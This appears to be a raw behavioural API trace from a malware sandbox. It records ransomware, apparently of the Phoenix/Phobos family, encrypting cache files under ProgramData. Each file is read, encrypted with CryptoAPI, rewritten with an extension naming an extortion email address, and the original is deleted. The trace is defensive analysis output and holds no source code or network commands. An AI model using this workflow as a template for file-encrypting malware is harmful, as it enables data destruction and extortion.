	[0241.462] WriteFile (in: hFile=0x2cc, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x46080, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x46080, lpOverlapped=0x0) returned 1
	[0241.468] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151380) returned 1
	[0241.468] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0241.468] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0241.468] CryptDestroyKey (hKey=0x151380) returned 1
	[0241.468] WriteFile (in: hFile=0x2cc, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x162, lpOverlapped=0x0) returned 1
	[0241.468] CryptDestroyKey (hKey=0x151440) returned 1
	[0241.468] CloseHandle (hObject=0x2c8) returned 1
	[0241.468] CloseHandle (hObject=0x2cc) returned 1
	[0241.468] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000014.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000014.db")) returned 1
	[0241.472] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0241.472] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000016.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000016.db"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0241.472] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=286832) returned 1
	[0241.472] CloseHandle (hObject=0x2cc) returned 1
	[0241.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000016.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000016.db")) returned 0x20
	[0241.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000016.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000016.db.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0241.473] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000016.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000016.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0241.473] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0241.473] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0241.473] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000016.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000016.db.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0241.481] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1516c0) returned 1
	[0241.481] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0241.481] ReadFile (in: hFile=0x2cc, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x46070, lpOverlapped=0x0) returned 1
	[0241.489] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x46080, dwBufLen=0x46080 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x46080) returned 1
	[0241.489] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x46080, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x46080, lpOverlapped=0x0) returned 1
	[0241.494] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1517c0) returned 1
	[0241.494] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0241.494] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0241.494] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0241.494] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x162, lpOverlapped=0x0) returned 1
	[0241.494] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0241.494] CloseHandle (hObject=0x2cc) returned 1
	[0241.494] CloseHandle (hObject=0x2c8) returned 1
	[0241.495] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000016.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000016.db")) returned 0
	[0241.495] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0241.495] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{7BF8DBD1-8EE0-446A-8D07-1D22E4418D9A}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{7bf8dbd1-8ee0-446a-8d07-1d22e4418d9a}.2.ver0x0000000000000002.db"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0241.499] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1048) returned 1
	[0241.499] CloseHandle (hObject=0x2c8) returned 1
	[0241.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{7BF8DBD1-8EE0-446A-8D07-1D22E4418D9A}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{7bf8dbd1-8ee0-446a-8d07-1d22e4418d9a}.2.ver0x0000000000000002.db")) returned 0x20
	[0241.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{7BF8DBD1-8EE0-446A-8D07-1D22E4418D9A}.2.ver0x0000000000000002.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{7bf8dbd1-8ee0-446a-8d07-1d22e4418d9a}.2.ver0x0000000000000002.db.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0241.499] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{7BF8DBD1-8EE0-446A-8D07-1D22E4418D9A}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{7bf8dbd1-8ee0-446a-8d07-1d22e4418d9a}.2.ver0x0000000000000002.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0241.499] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0241.499] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0241.500] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{7BF8DBD1-8EE0-446A-8D07-1D22E4418D9A}.2.ver0x0000000000000002.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{7bf8dbd1-8ee0-446a-8d07-1d22e4418d9a}.2.ver0x0000000000000002.db.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0241.943] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151400) returned 1
	[0241.943] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0241.943] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x418, lpOverlapped=0x0) returned 1
	[0241.945] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x420, dwBufLen=0x420 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x420) returned 1
	[0241.945] WriteFile (in: hFile=0x2cc, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x420, lpOverlapped=0x0) returned 1
	[0241.949] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151740) returned 1
	[0241.949] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0241.949] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0241.949] CryptDestroyKey (hKey=0x151740) returned 1
	[0241.949] WriteFile (in: hFile=0x2cc, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x162, lpOverlapped=0x0) returned 1
	[0241.949] CryptDestroyKey (hKey=0x151400) returned 1
	[0241.949] CloseHandle (hObject=0x2c8) returned 1
	[0241.949] CloseHandle (hObject=0x2cc) returned 1
	[0241.949] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{7BF8DBD1-8EE0-446A-8D07-1D22E4418D9A}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{7bf8dbd1-8ee0-446a-8d07-1d22e4418d9a}.2.ver0x0000000000000002.db")) returned 1
	[0241.950] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0241.951] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{9961E15C-3F61-4FA0-9F93-F635907C374B}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{9961e15c-3f61-4fa0-9f93-f635907c374b}.2.ver0x0000000000000001.db"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0241.951] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1048) returned 1
	[0241.951] CloseHandle (hObject=0x2cc) returned 1
	[0241.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{9961E15C-3F61-4FA0-9F93-F635907C374B}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{9961e15c-3f61-4fa0-9f93-f635907c374b}.2.ver0x0000000000000001.db")) returned 0x20
	[0241.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{9961E15C-3F61-4FA0-9F93-F635907C374B}.2.ver0x0000000000000001.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{9961e15c-3f61-4fa0-9f93-f635907c374b}.2.ver0x0000000000000001.db.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0241.951] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{9961E15C-3F61-4FA0-9F93-F635907C374B}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{9961e15c-3f61-4fa0-9f93-f635907c374b}.2.ver0x0000000000000001.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0241.951] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0241.952] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0241.952] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{9961E15C-3F61-4FA0-9F93-F635907C374B}.2.ver0x0000000000000001.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{9961e15c-3f61-4fa0-9f93-f635907c374b}.2.ver0x0000000000000001.db.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0241.976] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1511c0) returned 1
	[0241.977] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0241.977] ReadFile (in: hFile=0x2cc, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x418, lpOverlapped=0x0) returned 1
	[0242.135] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x420, dwBufLen=0x420 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x420) returned 1
	[0242.135] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x420, lpOverlapped=0x0) returned 1
	[0242.136] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151040) returned 1
	[0242.136] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0242.136] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0242.136] CryptDestroyKey (hKey=0x151040) returned 1
	[0242.136] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x162, lpOverlapped=0x0) returned 1
	[0242.136] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0242.136] CloseHandle (hObject=0x2cc) returned 1
	[0242.136] CloseHandle (hObject=0x2d8) returned 1
	[0242.137] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{9961E15C-3F61-4FA0-9F93-F635907C374B}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{9961e15c-3f61-4fa0-9f93-f635907c374b}.2.ver0x0000000000000001.db")) returned 1
	[0242.137] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0242.137] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0242.138] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=594896) returned 1
	[0242.138] CloseHandle (hObject=0x2d8) returned 1
	[0242.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db")) returned 0x20
	[0242.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0242.138] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0242.138] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0242.138] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0242.138] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0242.139] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151580) returned 1
	[0242.139] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0242.139] ReadFile (in: hFile=0x2d8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x913d0, lpOverlapped=0x0) returned 1
	[0242.142] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x913e0, dwBufLen=0x913e0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x913e0) returned 1
	[0242.143] WriteFile (in: hFile=0x2cc, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x913e0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x913e0, lpOverlapped=0x0) returned 1
	[0242.152] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151640) returned 1
	[0242.152] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0242.152] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0242.152] CryptDestroyKey (hKey=0x151640) returned 1
	[0242.152] WriteFile (in: hFile=0x2cc, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x162, lpOverlapped=0x0) returned 1
	[0242.152] CryptDestroyKey (hKey=0x151580) returned 1
	[0242.152] CloseHandle (hObject=0x2d8) returned 1
	[0242.152] CloseHandle (hObject=0x2cc) returned 1
	[0242.152] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db")) returned 0
	[0242.152] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0242.152] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{E14796D4-F769-4AA4-85DC-E9FFE52AEEB4}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{e14796d4-f769-4aa4-85dc-e9ffe52aeeb4}.2.ver0x0000000000000001.db"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0242.153] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1216) returned 1
	[0242.153] CloseHandle (hObject=0x2cc) returned 1
	[0242.153] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{E14796D4-F769-4AA4-85DC-E9FFE52AEEB4}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{e14796d4-f769-4aa4-85dc-e9ffe52aeeb4}.2.ver0x0000000000000001.db")) returned 0x20
	[0242.153] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{E14796D4-F769-4AA4-85DC-E9FFE52AEEB4}.2.ver0x0000000000000001.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{e14796d4-f769-4aa4-85dc-e9ffe52aeeb4}.2.ver0x0000000000000001.db.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0242.153] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{E14796D4-F769-4AA4-85DC-E9FFE52AEEB4}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{e14796d4-f769-4aa4-85dc-e9ffe52aeeb4}.2.ver0x0000000000000001.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0242.153] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0242.153] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0242.153] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{E14796D4-F769-4AA4-85DC-E9FFE52AEEB4}.2.ver0x0000000000000001.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{e14796d4-f769-4aa4-85dc-e9ffe52aeeb4}.2.ver0x0000000000000001.db.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0242.154] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151640) returned 1
	[0242.154] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0242.154] ReadFile (in: hFile=0x2cc, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x4c0, lpOverlapped=0x0) returned 1
